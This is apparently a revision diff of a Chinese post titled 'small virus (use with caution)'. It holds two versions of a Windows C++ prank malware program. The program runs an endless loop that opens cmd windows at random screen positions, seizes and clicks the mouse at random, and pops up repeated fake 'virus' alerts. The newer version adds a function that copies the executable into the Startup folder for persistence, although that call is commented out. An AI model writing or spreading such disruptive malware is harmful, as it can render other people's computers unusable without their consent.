标题
增加 1 行删除 1 行
1小病毒1小病毒(慎用)
正文
增加 32 行删除 10 行
123456789 行未改动181920212223242526272829303132333435363738394041424344```#include<bits/stdc++.h>#include <Windows.h>#include <TlHelp32.h>POINT GetMousePosition() {POINT cursorPos;GetCursorPos(&cursorPos);return cursorPos;9 行未改动const int screenHeight = GetSystemMetrics(SM_CYSCREEN) - 300;while(true) {const int posX = rand() % screenWidth;const int posY = rand() % screenHeight;char cmdCommand[256];snprintf(cmdCommand, sizeof(cmdCommand),"start cmd /k \"mode con: cols=80 lines=25 && title 随机位置CMD && color 9F\" ""--window --pos %d,%d",posX, posY);system(cmdCommand);SetCursorPos(posX,posY);MouseClick(posX,posY);Sleep(100);}}void MouseControl() {FixMousePosition();}signed main(){MouseControl();return 0;}```1234567899 行未改动192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566```#include<bits/stdc++.h>#include <Windows.h>#include <TlHelp32.h>#include <shlobj.h>POINT GetMousePosition() {POINT cursorPos;GetCursorPos(&cursorPos);return cursorPos;9 行未改动const int screenHeight = GetSystemMetrics(SM_CYSCREEN) - 300;while(true) {const int posX = rand() % screenWidth;const int posY = rand() % screenHeight;const int posX2 = rand()*rand() % screenWidth;const int posY2 = rand()*rand() % screenHeight;char cmdCommand[256];snprintf(cmdCommand, sizeof(cmdCommand),"start cmd /k \"mode con: cols=80 lines=25 && title 随机位置CMD && color 9F\" ""--window --pos %d,%d",posX, posY);system(cmdCommand);MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONERROR);MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONWARNING);MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONINFORMATION);SetCursorPos(posX2,posY2);MouseClick(posX2,posY2);Sleep(1);}}void MouseControl() {FixMousePosition();}bool AddToStartupFolder(const char* programPath, const char* programName) {char startupPath[MAX_PATH];if (!SHGetSpecialFolderPathA(NULL, startupPath, CSIDL_STARTUP, TRUE)) {return false;}char destPath[MAX_PATH];sprintf(destPath, "%s\\%s", startupPath, programName);return CopyFileA(programPath, destPath, FALSE);}signed main(){char programPath[MAX_PATH];GetModuleFileNameA(NULL, programPath, MAX_PATH);// 选择其中一种方式即可// if (AddToStartupFolder(programPath, "病毒czx6666.exe")) {// std::cout << "成功添加到启动文件夹" << std::endl;// } else {// std::cout << "添加到启动文件夹失败" << std::endl;// }MouseControl();return 0;}```